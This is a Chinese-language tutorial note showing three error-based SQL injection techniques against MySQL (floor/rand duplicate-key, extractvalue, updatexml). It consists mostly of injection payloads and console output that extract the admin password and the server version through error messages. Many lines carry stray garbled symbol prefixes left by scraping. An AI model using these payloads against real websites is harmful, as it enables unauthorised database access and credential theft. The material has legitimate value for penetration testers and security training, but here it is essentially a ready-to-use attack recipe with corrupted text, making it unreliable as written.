关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
实际测试环境：
4 O' L: l/ D) ^2 S0 U4 e​

mysql> show tables;
! W* z1 G3 _- v+ M* n7 [" D, ?6 u+----------------+
# q; R( o( {) Z: Q| Tables_in_test |
+----------------+
4 J, z# P0 N+ {. o* Q| admin          |
| article        |
6 @7 w! d8 I% S; k+----------------+

: S) P. a  x+ u3 ?; t; h
- \! ?, D' N+ P& Y7 z
mysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
7 C+ ^. ^- o; T2 O- t; x" W| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
) T8 g/ `/ I& w) ~7 H+ o| user  | varchar(50)      | NO   |     | NULL    |                |
( p8 u+ u9 [+ R9 }| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+
0 V# L, ?: a% G2 X

* y# h. j  K0 m6 X
$ ]* d: f  T! e8 Hmysql> describe article;
+---------+------------------+------+-----+---------+----------------+
/ Z7 y) l) G) Y% q| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
+ a* w# e" m8 k) z| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| title   | varchar(50)      | NO   |     | NULL    |                |
% h0 K( [( z0 b; }8 b/ r| content | varchar(50)      | NO   |     | NULL    |                |
+---------+------------------+------+-----+---------+----------------+
- C2 v9 S  {5 u+ B) l- r9 _1、通过floor报错
可以通过如下一些利用代码
5 L0 D% k" K& v5 e& B
: h3 b3 U4 d* Z0 g
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
! X. ~6 v. N7 {  S7 U/ V; w9 {from information_schema.tables group by x)a);


1 m, k" M# E( N2 O- d, uand (select count(*) from (select 1 union select null union select !1)x
group by concat((select table_name from information_schema.tables limit 1),
floor(rand(0)*2)));
) E$ X& K3 a  e+ u举例如下：
首先进行正常查询：

8 |( I( g" T8 {mysql> select * from article where id = 1;
7 T& c- y, A! i  d- B+----+-------+---------+
| id | title | content |
  P! e7 E9 N- M9 U1 `* q+----+-------+---------+
|  1 | test  | do it   |
8 v  B' F! A* R  g, R7 A+ k; W+----+-------+---------+
假如id输入存在注入的话，可以通过如下语句进行报错。
+ d% |' G: K$ T+ W2 U# O
& X6 z( |8 _- n4 \7 Q, V5 g& n$ ?4 F
, X) E: C9 k  i  C9 hmysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
% b" q6 `9 b. G8 |$ d% I- f6 S% VMethod1:
! P1 J/ J) E. Z+ g$ r5 H

; z5 J5 b3 O: {/ |+ K- ~& Smysql> select * from article where id = 1 and (select 1 from
1 d4 z, e: r( L) Y% R(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
- B  X. c1 k  f/ _! sfrom information_schema.tables group by x)a);
4 e2 e! k5 {9 F% MERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
& X! y  o5 Q9 t- B1 p: {8 @Method2:

4 E5 Z  ?6 [, I$ @" u- G# l
mysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
, [2 @3 Z. [% @7 ^+ MERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
+ w- }/ k7 H, v5 s" n/ t# I) Z2、ExtractValue
测试语句如下
% l- i9 V* o# n4 @

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
. y" u" h& I9 J& @& m5 c实际测试过程
+ t0 |8 `3 k& ?/ ~: J9 g

' c3 z4 m  ?& U" J. M. G0 T0 v6 omysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
8 Z& B, k; \1 V0 L1 @(select pass from admin limit 1)));--
: e) R4 [! \. q! i8 c6 ?ERROR 1105 (HY000): XPATH syntax error: '\admin888'
8 z! M% I6 ], j8 Q3、UpdateXml
测试语句

" {$ D" J  c( f$ h* {/ g0 d
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程

+ V2 [; J$ ^8 O5 ?- S
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
" T- }1 {$ T1 l1 n+ G" WERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
8 m0 o' f( l# GAll, thanks foreign guys.

​